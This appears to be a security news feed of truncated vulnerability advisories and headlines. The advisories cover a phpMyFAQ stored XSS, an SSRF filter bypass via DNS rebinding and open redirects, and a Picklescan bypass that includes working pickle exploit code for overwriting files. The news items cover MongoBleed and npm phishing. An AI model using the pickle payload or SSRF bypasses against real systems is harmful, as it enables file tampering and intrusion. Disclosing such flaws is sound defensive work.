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### Summary A stored cross-site scripting (XSS) vulnerability allows an attacker to execute arbitrary JavaScript in an administrator’s browser by registering a user whose **display name** contains HTML entities (e.g., `<img ...>`). When an administrator views the admin user list, the payload is decoded server-side and rendered without escaping, resulting in script execution in the admin context. ### Details Root cause is the following chain: - **User-controlled input stored**: attacker-provided `display_name` (real name) is stored in DB (often as HTML entities, e.g., `<img ...>`). - **Decode on read**: `phpmyfaq/src/phpMyFAQ/User/UserData.php` decodes `display_name` using `html_entity_decode(...)` (“for backward compatibility”). - **Unsafe sink**: admin user list renders the decoded value unescaped using Twig `|raw`: - `phpmyfaq/assets/templates/admin/user/users.twig` (users table uses `{{ user.display_name|raw }}`) As a result, an entity-encoded payload becomes active ...

### Summary A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources. ### Details The vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns: ```typescript export const isPublicUrl = (url: string): boolean => { const parsed = new URL(url); const hostname = parsed.hostname.toLowerCase(); const blockedPatterns = [ /^localhost$/, /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/, /^192\.168\.\d{1,3}\.\d{1,3}$/, // ... other patterns ]; return...

KrebsOnSecurity.com celebrates its 16th anniversary today! A huge "thank you" to all of our readers -- newcomers, long-timers and drive-by critics alike. Your engagement this past year here has been tremendous and truly a salve on a handful of dark days. Happily, comeuppance was a strong theme running through our coverage in 2025, with a primary focus on entities that enabled complex and globally-dispersed cybercrime services.

Over 87,000 MongoDB instances are at risk from a critical memory leak called MongoBleed. Following the chaos at Ubisoft, see how this zero-password flaw works and how to protect your data.

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" heig...

Last week’s cyber news in 2025 was not about one big incident. It was about many small cracks opening at the same time. Tools people trust every day behave in unexpected ways. Old flaws resurfaced. New ones were used almost immediately. A common theme ran through it all in 2025. Attackers moved faster than fixes. Access meant for work, updates, or support kept getting abused. And damage did not

Windows isn’t the only target anymore. In 2025, malware increasingly targeted Android, macOS, and multiple platforms at once.

Privacy may be dead, but civilians are turning conventional wisdom on its head by surveilling the cops as much as the cops surveil them.

A recently disclosed security vulnerability in MongoDB has come under active exploitation in the wild, with over 87,000 potentially susceptible instances identified across the world. The vulnerability in question is CVE-2025-14847 (CVSS score: 8.7), which allows an unauthenticated attacker to remotely leak sensitive data from the MongoDB server memory. It has been codenamed MongoBleed. "A flaw

Cybersecurity researchers have disclosed details of what has been described as a "sustained and targeted" spear-phishing campaign that has published over two dozen packages to the npm registry to facilitate credential theft. The activity, which involved uploading 27 npm packages from six different npm aliases, has primarily targeted sales and commercial personnel at critical